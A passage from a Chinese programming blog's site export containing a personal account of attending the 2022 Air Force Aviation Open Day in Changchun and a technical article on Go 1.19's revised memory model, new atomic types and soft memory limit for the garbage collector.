2022年空军航空开放活动暨长春航空展预约注册系统刚上线，我就在8月1日上午6点多提交了预约申请。我预约的是27日，因为是周六，也是首个公众开放日。\n8月11日，收到微信通知，我的申请审核通过了。\n和我一起通过的还有我的大女儿，不过近期暑期游返程后，全国又引发了一波疫情，考虑到大宝马上就要开学了，我决定还是不带她去了，等将来疫情结束或转为常见流行病管理了，一定带大宝再去一次。\n就这样，我怀着激动的心情，耐心地等待观展日的到来。\n不过25日(离我预约的日子还有两天)下午，我却收到一则12306的列车停运通知短信：\n虽然没有明说停运原因，但大概率还是因为近期的疫情。\n还好有一个好朋友全家也预定了27日的观展，在长春酒店承诺接待沈阳旅客的前提下，我决定和朋友一家人自驾去长春观展。\n我们周五傍晚到达长春的酒店，简单吃一顿饭后，就回房间休息，因为我们知道观展是很考验体力的^_^。\n三. 观展 27日周六，不到7点我们就从酒店出发，在旁边的一座早餐店吃过早餐后，就马不停蹄地往大房身机场驶去。事实证明，我们出发的还是不够早啊。在离开放日活动入口大约2公里开外就开始行驶缓慢了。在1公里左右的时候，我们依稀可见机场上空的动力伞表演已经开始！来自四面八方的观展者的私家车已经把道路两旁的车位塞满了。后来我们才知道，在这里停车绝对是好选择，如果停到开放日指定的社会停车场，那么从停车场走到入口真的非常远。\n从行程码和48小时核酸检查入口到门票核验入口要走迎宾路，这条路也有1-2公里远。整条迎宾路上全是携家带口观展的游客，并且孩子有很多，是家庭观展的主要动力。\n等我们进入机场时，跳伞表演已经开始。\n图：跳伞表演\n我们还是来晚了！观礼台左侧的机场草坪已经满满都是观众了，靠近机场跑道的最佳位置早已经被一茬茬的观展人群围住。我们只能先临时选择一处位置观看。\n我们真正看到的第一个节目是空军第三飞行学院“红鹰”飞行表演队驾驶教8飞机的飞行表演。教8是位于江西南昌的洪都飞机制造厂制造的亚音速喷气初级教练机。教8飞机是为了适应飞行学员学习掌握下一代歼击机的需要，也就是直接为当时的歼-10和歼-11服务的教练飞机。教8使用国产涡扇-11发动机，最大飞行速度在800km/h以内。虽然是喷气式表演机，但在现场感觉发动机的轰鸣声并不是很大。“红鹰”飞行表演队的飞行员们架机闪展腾挪，为大家献上了精彩的表演。\n第一次在现场看这种飞行表演感觉十分震撼，每当表演队完成一个精彩的飞行科目，地面的观众就会报以热烈的掌声。\n图：“红鹰”飞行表演队精彩表演\n第一次在现场看，没啥经验，又想看，又想拍，结果看得不够完美，表演的照片/视频也没拍好。大家凑合看，如要高清照片，可以到微博上(搜“2022空军航空开放日”)找那些媒体记者拍摄的美图。\n空军航空大学“天之翼”飞行表演队驾驶初教6的飞行表演也十分精彩，不同的是有初教六是活塞式螺旋桨发动机，飞行速度更慢，这样滞留在观众上空的时间更长，大家可以更清晰看到一些飞行细节。\n目前我国除歼20之外最先进的三代半重型双发战斗机歼16也来了。歼16给大家印象最深的肯定是发动机声音很大，堵住耳朵是不行的，感觉心脏都能受到声波的频频冲击，尤其是当飞机的尾喷口对着观众席时。\n图：歼16的飞行表演\n“胖妞”运20的起飞在场内引发一次“小高潮”，运20是我军现役自主研制的最先进的大型军用运输机，经过多年的实验与任务磨炼，该平台已经成熟，基于运20，我们还开发了加油机运油20（见前图）。运20的表演用一个字评价，那就是“稳”，四个字，那就是“稳如泰山”。\n图：运20的飞行表演\n伴随着被称为“龙吟”的发动机音浪，歼20双机表演如期上演。歼20是我军现役最先进的作战飞机，采用了大量的先进技术，至今歼20的很多参数依旧是最高机密。本届开放日活动，主办方在主题展区域搭建了一个1:1的全尺寸歼20模型供游客参观拍照。\n不过，因为歼20没有安排实机静态展示，这本是我来这次开放日之最大心愿，结果成了最大的遗憾。\n图：歼20的飞行表演\n中午趁表演间隔，大家来到静态展区，这里展出的都是空军现役的主力飞机型号，包括更高级的教10、歼10C、歼11B、歼轰7、轰6k、攻2察打一体无人机、武直10、武直9、直8KA、运油20A、运9等，还有地空导弹以及雷达等防空装备以及一些空降兵战车和轻武器。图片太多，这里就不贴出来了。\n下午的表演依然精彩，歼10、歼11B轮番上台。当然要说最精彩的，莫过于压轴的空军八一飞行表演队的30分钟飞行表演。八一飞行表演队是飞行表演的国家队，这次带来的是六机展演。 八一飞行表演队使用歼10A，是歼10飞机的早期型号。如今地面静态公开展示的最新型号是歼10C，带有蚌式进气道、相控阵雷达，是一种更先进的三代半战机。\n图：八一飞行表演队三机起飞\n图：八一飞行表演队表演“空中开花”\n图：八一飞行表演队飞机降落\n图：八一飞行表演队飞机谢场\n伴随着八一飞行表演队的谢场，全天的表演基本就结束了。\n我们还有时间看主题区的展览，但看到大家脸上的疲态，我们决定结束本次观展。\n四. 经验教训 经过一夜的休息，身体的疲劳感渐渐消退。\n复盘这次看展，收获肯定是占主要部分的。但也有一些遗憾，比如入场晚，没有占到较好的位置，一些表演，如动力伞、跳伞、机降表演都没看到或没看全，另外时间有限，主题区没有逛完，没能完成打开和模拟机的体验。歼20实机静态展示的缺席是我此次开放日的最大遗憾，当然也是后续继续看展的最大动力。\n要说本次观展值得大家借鉴的最大的教训就是一定要早去！早去，可以找个更近的位置停车；早去，可以找到一个更好的观展位置；早去，可以让观展更加从容。\n如果能不开私家车，还是不开为妙，车位真的是难找。\n另外飞行表演时间长，观展在室外环境，带孩子的家庭要准备好充足的物资和装备，比如：小椅子、孩子推车之类的，还要防止孩子哭闹。我甚至看到有家庭带着帐篷去观展的。\n虽然机场提供了相对平价的食物和水，但是到中午所有人都在找吃的的时候，展方提供的供给能力显然还是不够。建议大家自带一些食物进厂，水不让带可以在场里购买。\n喷气式飞机产生的噪音不可忽视，尤其是对耳朵尚未发育成熟的小孩子，降噪隔音耳麦是必须的，另外心脏不好的朋友去之前还是要做好个人健康评估的，飞机发动机产生的声浪会给你的心脏带去不小的负担。\n最后还要注意刺眼的阳光，这次天公作美，天上的云彩几乎挡住了强光，但是如果你去的那天是个大晴天，墨镜和防晒装备就不可少了。\n五. 后记 作为军迷，十分希望人民军队能有更多的像空军航空开放日这样的面向普通群众的展演，让普通百姓更多的了解我们军队的现代化建设情况，坚定对人民军队捍卫国家和平的能力和决心。同时这样的展览本身也是一次激发青少年兴趣的良好机会，相信这次航展在很多观展的孩子们心中“种了草”，等他们长大后，很多孩子将加入人民空军行列，接过前辈的战机，为保家卫国奉献青春。\n待传说中的轰20和最新一代舰载机歼35参加开放日展示的时候，我一定会再来现场观演，相信这一天也不远了！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-visiting-notes-of-2022-china-air-force-aviation-open-day-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day\"\u003ehttps://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2022年8月27日，我在长春现场观看了2022年空军航空开放日暨长春航空展的飞行表演、地面静态展示以及一些主题馆。这是我以军迷身份第一次参加人民军队举办的此类活动，一天下来，虽然疲惫，但\u003cstrong\u003e更多的感受是：震撼与满足\u003c/strong\u003e！下面我就来唠叨一些过程与细节，还要相关“经验教训”，供后续想参加空军开放日活动或类似人民军队开放活动的小伙伴们参考。\u003c/p\u003e","title":"因为热爱：2022年空军航空开放日观展记"},{"content":"\n本文永久链接 – https://tonybai.com/2022/08/22/some-changes-in-go-1-19\n我们知道Go团队在2015年重新规定了团队发布版本的节奏，将Go大版本的发布频率确定为每年两次，发布窗口定为每年的2月与8月。而实现自举的Go 1.5版本是这一个节奏下发布的第一个版本。一般来说，Go团队都会在这两个窗口的中间位置发布版本，不过这几年也有意外，比如承载着泛型落地责任的Go 1.18版本就延迟了一个月发布。\n就在我们以为Go 1.19版本不会很快发布的时候，美国时间2022年8月2日，Go核心团队正式发布了Go 1.19版本，这个时间不仅在发布窗口内而且相对于惯例还提前了。为什么呢？很简单，Go 1.19是一个“小”版本，当然这里的“小”是相对于Go 1.18那样的“大”而言的。Go 1.19版本开发周期仅有2个月左右(3~5月初)，这样Go团队压缩了添加到Go 1.19版本中的feature数量。\n不过尽管如此，Go 1.19中依然有几个值得我们重点关注的变化点，在这篇文章中我就和大家一起来看一下。\n一. 综述 在6月份(那时Go 1.19版本已经Freeze)，我曾写过一篇《Go 1.19新特性前瞻》，简要介绍了当时基本确定的Go 1.19版本的一些新特性，现在来看，和Go 1.19版本正式版差别不大。\n泛型方面 考虑到Go 1.18泛型刚刚落地，Go 1.18版本中的泛型并不是完全版。但Go 1.19版本也没有急于实现泛型设计文档)中那些尚未实现的功能特性，而是将主要精力放在了修复Go 1.18中发现的泛型实现问题上了，目的是夯实Go泛型的底座，为Go 1.20以及后续版本实现完全版泛型奠定基础(详细内容可查看《Go 1.19新特性前瞻》一文)。\n其他语法方面 无，无，无！重要的事情说三遍。\n这样，Go 1.19依旧保持了Go1兼容性承诺。\n正式在linux上支持龙芯架构(GOOS=linux, GOARCH=loong64) 这一点不得不提，因为这一变化都是国内龙芯团队贡献的。不过目前龙芯支持的linux kernel版本最低也是5.19，意味着龙芯在老版本linux上还无法使用Go。\ngo env支持CGO_CFLAGS, CGO_CPPFLAGS, CGO_CXXFLAGS, CGO_FFLAGS, CGO_LDFLAGS和GOGCCFLAGS 当你想设置全局的而非包级的CGO构建选项时，可以通过这些新加入的CGO相关环境变量进行，这样就可以避免在每个使用Cgo的Go源文件中使用cgo指示符来分别设置了。\n目前这些用于CGO的go环境变量的默认值如下(以我的macos上的默认值为例)：\nCGO_CFLAGS=\u0026quot;-g -O2\u0026quot; CGO_CPPFLAGS=\u0026quot;\u0026quot; CGO_CXXFLAGS=\u0026quot;-g -O2\u0026quot; CGO_FFLAGS=\u0026quot;-g -O2\u0026quot; CGO_LDFLAGS=\u0026quot;-g -O2\u0026quot; GOGCCFLAGS=\u0026quot;-fPIC -arch x86_64 -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build1672298076=/tmp/go-build -gno-record-gcc-switches -fno-common\u0026quot; 其他更具体的变化就不赘述了，大家可以移步《Go 1.19新特性前瞻》看看。\n下面我们重点说说Go 1.19中的两个重要变化：新版Go内存模型文档与Go运行时引入Soft memory limit。\n二. 修订Go内存模型文档 记得当年初学Go的时候，所有Go官方文档中最难懂的一篇就属Go内存模型文档(如下图)这一篇了，相信很多gopher在初看这篇文档时一定有着和我相似的赶脚^_^。\n图：老版Go内存模型文档\n注：查看老版Go内存模型文档的方法：godoc -http=:6060 -goroot /Users/tonybai/.bin/go1.18.3，其中godoc已经不随着go安装包分发了，需要你单独安装，命令为：go install golang.org/x/tools/cmd/godoc。\n那么，老版内存模型文档说的是啥呢？为什么要修订？搞清这两个问题，我们就大致知道新版内存模型文档的意义了。 我们先来看看什么是编程语言的内存模型。\n1. 什么是内存模型？ 提到内存模型，我们要从著名计算机科学家，2013年图灵奖得主Leslie Lamport在1979发表的名为《How to Make a Multiprocessor Computer That Correctly Executes Multiprocess Programs》的论文说起。\n在这篇文章中，Lamport给出了多处理器计算机在共享内存的情况下并发程序正确运行的条件，即多处理器要满足顺序一致性(sequentially consistent)。\n文中提到：一个高速运行的处理器不一定按照程序指定的顺序(代码顺序)执行。如果一个处理器的执行结果(可能是乱序执行)与按照程序指定的顺序(代码顺序)执行的结果一致，那么说这个处理器是有序的(sequential)。\n而对于一个共享内存的多处理器而言，只有满足下面条件，才能被认定是满足顺序一致性的，即具备保证并发程序正确运行的条件：\n任何一次执行的结果，都和所有处理器的操作按照某个顺序执行的结果一致; 在“某个顺序执行”中单独看每个处理器，每个处理器也都是按照程序指定的顺序(代码顺序)执行的。 顺序一致性就是一个典型的共享内存、多处理器的内存模型，这个模型保证了所有的内存访问都是以原子方式和按程序顺序进行的。下面是一个共享内存的顺序一致性的抽象机器模型示意图，图来自于《A Tutorial Introduction to the ARM and POWER Relaxed Memory Models》 ：\n根据顺序一致性，上面图中的抽象机器具有下面特点：\n没有本地的重新排序：每个硬件线程按照程序指定的顺序执行指令，完成每条指令（包括对共享内存的任何读或写）后再开始下一条。 每条写入指令对所有线程（包括进行写入的线程）都是同时可见的。 从程序员角度来看，顺序一致性的内存模型是再理想不过了。所有读写操作直面内存，没有缓存，一个处理器(或硬件线程)写入内存的值，其他处理器(或硬件线程)便可以观察到。借助硬件提供的顺序一致性(SC)，我们可以实现“所写即所得”。\n但是这样的机器真的存在吗？并没有，至少在量产的机器中并没有。为什么呢？因为顺序一致性不利于硬件和软件的性能优化。真实世界的共享内存的多处理器计算机的常见机器模型是这样的，也称为Total Store Ordering，TSO模型(图来自《A Tutorial Introduction to the ARM and POWER Relaxed Memory Models》)：\n我们看到，在这种机器下，所有处理器仍连接到单个共享内存，但每个处理器的写内存操作从写入共享内存变为了先写入本处理器的写缓存队列(write buffer)，这样处理器无需因要等待写完成(write complete)而被阻塞，并且一个处理器上的读内存操作也会先查阅本处理器的写缓存队列(但不会查询其他处理器的写缓存队列)。写缓存队列的存在极大提升了处理器写内存操作的速度。\n但也正是由于写缓存的存在，TSO模型无法满足顺序一致性，比如：“每条写入指令对所有线程（包括进行写入的线程）都是同时可见的”这一特性就无法满足，因为写入本地写缓存队列的数据在未真正写入共享内存前只对自己可见，对其他处理器(硬件线程)并不可见。\n根据Lamport的理论，在不满足SC的多处理器机器上程序员没法开发出可以正确运行的并发程序(Data Race Free, DRF)，那么怎么办呢？处理器提供同步指令给开发者。对开发者而言，有了同步指令的非SC机器，具备了SC机器的属性。只是这一切对开发人员不是自动的/透明的了，需要开发人员熟悉同步指令，并在适当场合，比如涉及数据竞争Data Race的场景下正确使用，这大大增加了开发人员的心智负担。\n开发人员通常不会直面硬件，这时就要求高级编程语言对硬件提供的同步指令进行封装并提供给开发人员，这就是编程语言的同步原语。而编程语言使用哪种硬件同步指令，封装出何种行为的同步原语，怎么应用这些原语，错误的应用示例等都是需要向编程语言的使用者进行说明的。而这些都将是编程语言内存模型文档的一部分。\n如今主流的编程语言的内存模型都是顺序一致性(SC)模型，它为开发人员提供了一种理想的SC机器(虽然实际中的机器并非SC的)，程序是建构在这一模型之上的。但就像前面说的，开发人员要想实现出正确的并发程序，还必须了解编程语言封装后的同步原语以及他们的语义。只要程序员遵循并发程序的同步要求合理使用这些同步原语，那么编写出来的并发程序就能在非SC机器上跑出顺序一致性的效果。\n知道了编程语言内存模型的含义后，接下来，我们再来看看老版Go内存模型文档究竟表述了什么。\n2. Go内存模型文档 按照上面的说明，Go内存模型文档描述的应该是要用Go写出一个正确的并发程序所要具备的条件。\n再具体点，就像老版内存模型文档开篇所说的那样：Go内存模型规定了一些条件，一旦满足这些条件，当在一个goroutine中读取一个变量时，Go可以保证它可以观察到不同goroutine中对同一变量的写入所产生的新值。\n接下来，内存模型文档就基于常规的happens-before定义给出了Go提供的各种同步操作及其语义，包括：\n如果一个包p导入了包q，那么q的init函数的完成发生在p的任何函数的开始之前。 函数main.main的开始发生在所有init函数完成之后。 启动一个新的goroutine的go语句发生在goroutine的执行开始之前。 一个channel上的发送操作发生在该channel的对应接收操作完成之前。 一个channel的关闭发生在一个返回零值的接收之前(因为该channel已经关闭)。 一个无缓冲的channel的接收发生在该channel的发送操作完成之前。 一个容量为C的channel上的第k个接收操作发生在该channel第k+C个发送操作完成之前。 对于任何sync.Mutex或sync.RWMutex变量l，当n\u0026lt;m时，第n次l.Unlock调用发生在第m次调用l.Lock()返回之前。 once.Do(f)中的f()调用发生在对once.Do(f)的任何一次调用返回之前。 接下来，内存模型文档还定义了一些误用同步原语的例子。\n那么新内存模型文档究竟更新了哪些内容呢？我们继续往下看。\n3. 修订后的内存模型文档都有哪些变化 图：修订后的Go内存模型文档\n负责更新内存模型文档的Russ Cox首先增加了Go内存模型的总体方法(overall approach)。\nGo的总体方法在C/C++和Java/Js之间，既不像C/C++那样将存在Data race的程序定义为违法的，让编译器以未定义行为处置它，即运行时表现出任意可能的行为；又不完全像Java/Js那样尽量明确Data Race情况下各种语义，将Data race带来的影响限制在最小，使程序更为可靠。\nGo对于一些存在data Race的情况会输出race报告并终止程序，比如多goroutine在未使用同步手段下对map的并发读写。除此之外，Go对其他存数据竞争的场景有明确的语义，这让程序更可靠，也更容易调试。\n其次，新版Go内存模型文档增补了对这些年sync包新增的API的说明，比如： mutex.TryLock、mutex.TryRLock等。而对于sync.Cond、Map、Pool、WaitGroup等文档没有逐一描述，而是建议看API文档。\n在老版内存模型文档中，没有对sync/atom包进行说明，新版文档增加了对atom包以及runtime.SetFinalizer的说明。\n最后，文档除了提供不正确同步的例子，还增加了对不正确编译的例子的说明。\n另外这里顺便提一下：Go 1.19在atomic包中引入了一些新的原子类型，包括： Bool, Int32, Int64, Uint32, Uint64, Uintptr和Pointer。这些新类型让开发人员在使用atomic包是更为方便，比如下面是Go 1.18和Go 1.19使用Uint64类型原子变量的代码对比：\n对比Uint64的两种作法：\n// Go 1.18 var i uint64 atomic.AddUint64(\u0026amp;i, 1) _ = atomic.LoadUint64(\u0026amp;i) vs. // Go 1.19 var i atomic.Uint64 // 默认值为0 i.Store(17) // 也可以通过Store设置初始值 i.Add(1) _ = i.Load() atomic包新增的Pointer，避免了开发人员在使用原子指针时自己使用unsafe.Pointer进行转型的麻烦。同时atomic.Pointer是一个泛型类型，如果我没记错，它是Go 1.18加入comparable预定义泛型类型之后，第一次在Go中引入基于泛型的标准库类型：\n// $GOROOT/src/sync/atomic/type.go // A Pointer is an atomic pointer of type *T. The zero value is a nil *T. type Pointer[T any] struct { _ noCopy v unsafe.Pointer } // Load atomically loads and returns the value stored in x. func (x *Pointer[T]) Load() *T { return (*T)(LoadPointer(\u0026amp;x.v)) } // Store atomically stores val into x. func (x *Pointer[T]) Store(val *T) { StorePointer(\u0026amp;x.v, unsafe.Pointer(val)) } // Swap atomically stores new into x and returns the previous value. func (x *Pointer[T]) Swap(new *T) (old *T) { return (*T)(SwapPointer(\u0026amp;x.v, unsafe.Pointer(new))) } // CompareAndSwap executes the compare-and-swap operation for x. func (x *Pointer[T]) CompareAndSwap(old, new *T) (swapped bool) { return CompareAndSwapPointer(\u0026amp;x.v, unsafe.Pointer(old), unsafe.Pointer(new)) } 此外，atomic包新增的Int64和Uint64类型还有一个特质，那就是Go保证其地址可以自动对齐到8字节上(即地址可以被64整除)，即便在32位平台上亦是如此，这可是连原生int64和uint64也尚无法做到的。\ngo101在推特上分享了一个基于atomic Int64和Uint64的tip。利用go 1.19新增的atomic.Int64/Uint64，我们可以用下面方法保证结构体中某个字段一定是8 byte对齐的，即该字段的地址可以被64整除。\nimport \u0026quot;sync/atomic\u0026quot; type T struct { _ [0]atomic.Int64 x uint64 // 保证x是8字节对齐的 } 前面的代码中，为何不用_ atomic.Int64呢，为何用一个空数组呢，这是因为空数组在go中不占空间，大家可以试试输出上面结构体T的size，看看是不是8。\n三. 引入Soft memory limit 1. 唯一GC调优选项：GOGC 近几个大版本，Go GC并没有什么大的改动/优化。和其他带GC的编程语言相比，Go GC算是一个奇葩的存在了：对于开发者而言，Go 1.19版本之前，Go GC的调优参数仅有一个：GOGC(也可以通过runtime/debug.SetGCPercent调整)。\nGOGC默认值为100，通过调整它的值，我们可以调整GC触发的时机。计算下一次触发GC的堆内存size的公式如下：\n// Go 1.18版本之前 目标堆大小 = (1+GOGC/100) * live heap // live heap为上一次GC标记后的堆上的live object的总size // Go 1.18版本及之后 目标堆大小 = live heap + (live heap + GC roots) * GOGC / 100 注：Go 1.18以后将GC roots(包括goroutine栈大小和全局变量中的指针对象大小)纳入目标堆大小的计算\n以Go 1.18之前的版本为例，当GOGC=100(默认值)时，如果某一次GC后的live heap为10M，那么下一次GC开启的目标堆heap size为20M，即在两次GC之间，应用程序可以分配10M的新堆对象。\n可以说GOGC控制着GC的运行频率。当GOGC值设置的较小时，GC运行的就频繁一些，参与GC工作的cpu的比重就多一些；当GOGC的值设置的较大时，GC运行的就不那么频繁，相应的参与GC工作的cpu的比重就小一些，但要承担内存分配接近资源上限的风险。\n这样一来，摆在开发者面前的问题就是：GOGC的值很难选，这唯一的调优选项也就成为了摆设。\n同时，Go runtime是不关心资源limit的，只是会按照应用的需求持续分配内存，并在自身内存池不足的情况下向OS申请新的内存资源，直到内存耗尽(或到达平台给应用分配的memory limit)而被oom killed！\n为什么有了GC，Go应用还是会因耗尽系统memory资源而被oom killed呢？我们继续往下看。\n2. Pacer的问题 上面的触发GC的目标堆大小计算公式，在Go runtime内部被称为pacer算法，pacer中文有翻译成“起搏器”的，有译成“配速器”的。不管译成啥，总而言之它是用来控制GC触发节奏的。\n不过pacer目前的算法是无法保证你的应用不被OOM killed的，举个例子(见下图)：\n在这个例子中：\n一开始live heap始终平稳，净增的heap object保持0，即新分配的heap object与被清扫掉的heap object相互抵消。 后续在(1)处出现一次target heap的跃升(从h/2-\u0026gt;h)，原因显然是live heap object变多了，都在用，即便触发GC也无法清除。不过此时target heap(h)是小于hard memory limit的； 程序继续执行，在(2)处，又出现一次target heap的跃升(从h-\u0026gt;2h)，而live heap object也变多了，稳定在h，此时，target heap变为2h，高于hard memory limit了； 后续程序继续执行，当live heap object到达(3)时，实际Go的堆内存(包括未清理的)超过了hard memory limit，但由于尚未到达target heap(2h)，GC没有被执行，因此应用被oom killed。 我们看到这个例子中，并非Go应用真正需要那么多内存(如果有GC及时清理，live heap object就在(3)的高度)，而是Pacer算法导致了没能及时触发GC。\n那么如何尽可能的避免oom killed呢？我们接下来看一下Go社区给出了两个“民间偏方”。\n3. Go社区的GC调优方案 这两个“偏方”, 一个是twitch游戏公司给出的memory ballast(内存压舱石)，另外一个则是像uber这样的大厂采用的自动GC动态调优方案。当然这两个方案不光是要避免oom，更是为了优化GC，提高程序的执行效率。\n下面我们分别简单介绍一下。先来说说twitch公司的memory ballast。twitch的Go服务运行在具有64G物理内存的VM上，通过观察运维人员发现，服务常驻的物理内存消耗仅为400多M，但Go GC的启动却十分频繁，这导致其服务响应的时间较长。twitch的工程师考虑充分利用内存，降低GC的启动频率，从而降低服务的响应延迟。\n于是他们想到了一种方法，他们在服务的main函数初始化环节像下面这样声明了一个10G容量的大切片，并保证这个切片在程序退出前不被GC释放掉：\nfunc main() { // Create a large heap allocation of 10 GiB ballast := make([]byte, 10\u0026lt;\u0026lt;30) // Application execution continues // ... runtime.Keepalive(ballast) // ... ... } 这个切片由于太大，将在堆上分配并被runtime跟踪，但这个切片并不会给应用带去实质上的物理内存消耗，这得益于os对应用进程内存的延迟簿记：只有读写的内存才会导致缺页中断并由OS为之分配物理内存。从类似top的工具来看，这10个G的字节仅会记录在VIRT/VSZ(虚拟内存)上，而不会记录在RES/RSS(常驻内存)上。\n这样一来，根据前面Pacer算法的原理，触发GC的下一个目标堆大小就至少为20G，在Go服务分配堆内存到20G之前GC都不会被触发，所有cpu资源都会被用来处理业务，这也与twitch的实测结果一致(GC次数下降99%)。\n一旦到了20G，由于之前观测的结果是服务仅需400多M物理内存，大量heap object会被回收，Go服务的live heap会回到400多M，但重新计算目标堆内存时，由于前面那个“压舱石”的存在，目标堆内存已经会在至少20G的水位上，就这样GC次数少了，GC少了，worker goroutine参加“劳役”的时间就少了，cpu利用率高了，服务响应的延迟也下来了。\n注：“劳役”是指worker goroutine在mallocgc内存时被runtime强制“劳役”：停下自己手头的工作，去辅助GC做heap live object的mark。\n不过使用该方案的前提是你对你的Go服务的内存消耗情况(忙闲时)有着精确的了解，这样才能结合硬件资源情况设定合理的ballast值。\n按照Soft memory limit proposal的说法，该方案的弊端如下：\n不能跨平台移植，据说Windows上不适用(压舱石的值会直接反映为应用的物理内存占用)； 不能保证随着Go运行时的演进而继续正常工作（比如：一旦pacer算法发生了巨大变化）； 开发者需要进行复杂的计算并估计运行时内存开销以选择适合的ballast大小。 接下来我们再来看看自动GC动态调优方案。\n去年12月，uber在其官方博客分享了uber内部使用的半自动化Go GC调优方案，按uber的说法，这种方案实施后帮助uber节省了70K cpu核的算力。其背后的原理依旧是从Pacer的算法公式出发，改变原先Go服务生命周期全程保持GOGC值静态不变的作法，在每次GC时，依据容器的内存限制以及当前的live heap size动态计算并设置GOGC值，从而实现对内存不足oom-killed的保护，同时最大程度利用内存，改善Gc对cpu的占用率。\n显然这种方案更为复杂，需要有一个专家团队来保证这种自动调优的参数的设置与方案的实现。\n4. 引入Soft memory limit 其实Go GC pacer的问题还有很多, Go核心团队开发者Michael Knyszek提了一个pacer问题综述的issue，将这些问题做了汇总。但问题还需一个一个解决，在Go 1.19这个版本中，Michael Knyszek就带来了他的Soft memory limit的解决方案。\n这个方案在runtime/debug包中添加了一个名为SetMemoryLimit的函数以及GOMEMLIMIT环境变量，通过他们任意一个都可以设定Go应用的Memory limit。\n一旦设定了Memory limit，当Go堆大小达到“Memory limit减去非堆内存后的值”时，一轮GC会被触发。即便你手动关闭了GC(GOGC=off)，GC亦是会被触发。\n通过原理我们可以看到，这个特性最直接解决的就是oom-killed这个问题！就像前面pacer问题示意图中的那个例子，如果我们设定了一个比hard memory limit小一些的soft memory limit的值，那么在(3)那个点便不会出现oom-killed，因为在那之前soft memory limit就会触发一次GC，将一些无用的堆内存回收掉了。\n但我们也要注意：soft memory limit不保证不会出现oom-killed，这个也很好理解。如果live heap object到达limit了，说明你的应用内存资源真的不够了，是时候扩内存条资源了，这个是GC无论如何都无法解决的问题。\n但如果一个Go应用的live heap object超过了soft memory limit但还尚未被kill，那么此时GC会被持续触发，但为了保证在这种情况下业务依然能继续进行，soft memory limit方案保证GC最多只会使用50%的CPU算力，以保证业务处理依然能够得到cpu资源。\n对于GC触发频率高，要降低GC频率的情况，soft memory limit的方案就是关闭GC(GOGC=off)，这样GC只有当堆内存到达soft memory limit值时才会触发，可以提升cpu利用率。不过有一种情况，Go官方的GC guide中不建议你这么做，那就是当你的Go程序与其他程序共享一些有限的内存时。这时只需保留内存限制并将其设置为一个较小的合理值即可，因为它可能有助于抑制不良的瞬时行为。\n那么多大的值是合理的soft memory limit值呢？在Go服务独占容器资源时，一个好的经验法则是留下额外的5-10%的空间，以考虑Go运行时不知道的内存来源。uber在其博客中设定的limit为资源上限的70%，也是一个不错的经验值。\n四. 小结 也许Go 1.19因开发周期的压缩给大家带来的惊喜并不多。不过特性虽少，却都很实用，比如上面的soft memory limit，一旦用好，便可以帮助大家解决大问题。\n而拥有正常开发周期的Go 1.20已经处于积极的开发中，从目前里程碑中规划的功能和改进来看，Go泛型语法将得到进一步的补全，向着完整版迈进，就这一点就值得大家期待了！\n五. 参考资料 Russ Cox内存模型系列 – https://research.swtch.com/mm 关于Go内存模型的讨论 – https://github.com/golang/go/discussions/47141 How to Make a Multiprocessor Computer That Correctly Executes Multiprocess Programs- https://www.microsoft.com/en-us/research/publication/make-multiprocessor-computer-correctly-executes-multiprocess-programs A Tutorial Introduction to the ARM and POWER Relaxed Memory Models- https://www.cl.cam.ac.uk/~pes20/ppc-supplemental/test7.pdf Weak Ordering – A New Definition- https://people.eecs.berkeley.edu/~kubitron/courses/cs258-S08/handouts/papers/adve-isca90.pdf Foundations of the C++ Concurrency Memory Model – https://www.hpl.hp.com/techreports/2008/HPL-2008-56.pdf Go GC pacer原理 – https://docs.google.com/document/d/1wmjrocXIWTr1JxU-3EQBI6BK6KgtiFArkG47XK73xIQ/edit “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core 